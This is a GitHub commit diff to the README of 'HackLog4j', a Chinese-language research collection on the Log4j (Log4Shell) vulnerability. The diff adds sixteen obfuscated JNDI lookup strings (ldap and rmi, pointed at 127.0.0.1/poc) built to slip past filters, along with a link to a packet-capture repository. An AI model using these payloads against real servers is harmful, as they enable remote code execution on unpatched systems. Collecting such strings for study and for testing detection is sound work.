Skip to content

Commit 91fa9cb

Browse files
committed
Update README.md
1 parent caf1b78 commit 91fa9cb

File tree

1 file changed

+18
-1
lines changed

1 file changed

+18
-1
lines changed

README.md

Lines changed: 18 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,6 @@
11
# HackLog4j-永恒之恶龙
22

3-
本项目用来致敬全宇宙最无敌的Java日志库!同时也记录自己在学习Log4j漏洞过程中遇到的一些内容。本项目会持续更新,本项目创建于2021年12月10日,最近的一次更新时间为2022年1月1日
3+
本项目用来致敬全宇宙最无敌的Java日志库!同时也记录自己在学习Log4j漏洞过程中遇到的一些内容。本项目会持续更新,本项目创建于2021年12月10日,最近的一次更新时间为2022年1月4日
44

55
- [00-Log4j永恒恶龙](https://github.com/0e0w/HackLog4j#00-log4j%E6%B0%B8%E6%81%92%E6%81%B6%E9%BE%99)
66
- [01-Log4j基础知识](https://github.com/0e0w/HackLog4j#01-log4j%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86)
@@ -128,6 +128,22 @@ ${jndi:${lower:l}${lower:d}a${lower:p}://127.0.0.1}
128128
${jnd${upper:i}:ldap://127.0.0.1/poc}
129129
${j${${:-l}${:-o}${:-w}${:-e}${:-r}:n}di:ldap://127.0.0.1/poc}
130130
${jndi:ldap://127.0.0.1#127.0.0.1:1389/poc}
131+
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://127.0.0.1/poc}
132+
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://127.0.0.1/poc}
133+
${${lower:jndi}:${lower:ldap}://127.0.0.1/poc}
134+
${${::-j}ndi:rmi://127.0.0.1/poc}
135+
${${lower:${lower:jndi}}:${lower:ldap}://127.0.0.1/poc}
136+
${${lower:jndi}:${lower:rmi}://127.0.0.1/poc}
137+
${${lower:j}${lower:n}${lower:d}i:${lower:ldap}://127.0.0.1/poc}
138+
${${lower:${lower:jndi}}:${lower:rmi}://127.0.0.1/poc}
139+
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:l}d${lower:a}p://127.0.0.1/poc}
140+
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}://127.0.0.1/poc}
141+
${j${env:DOESNOTEXIST:-}ndi:ldap://127.0.0.1/poc}
142+
${j${env:DOESNOTEXIST:-}ndi:rmi://127.0.0.1/poc}
143+
${${: : : : ::: :: :: : :::-j}ndi:ldap://127.0.0.1/poc}
144+
${${: : : : ::: :: :: : :::-j}ndi:rmi://127.0.0.1/poc}
145+
${${::::::::::::::-j}ndi:ldap://127.0.0.1/poc}
146+
${${::::::::::::::-j}ndi:rmi://127.0.0.1/poc}
131147
```
132148

133149
- https://github.com/test502git/log4j-fuzz-head-poc
@@ -268,6 +284,7 @@ ${jndi:ldap://127.0.0.1#127.0.0.1:1389/poc}
268284
- https://github.com/dbgee/CVE-2021-44228
269285
- https://github.com/lcosmos/apache-log4j-poc
270286
- https://github.com/aalex954/Log4PowerShell
287+
- https://github.com/fox-it/log4shell-pcaps
271288

272289
## 06-Log4j漏洞修复
273290

0 commit comments

Comments
 (0)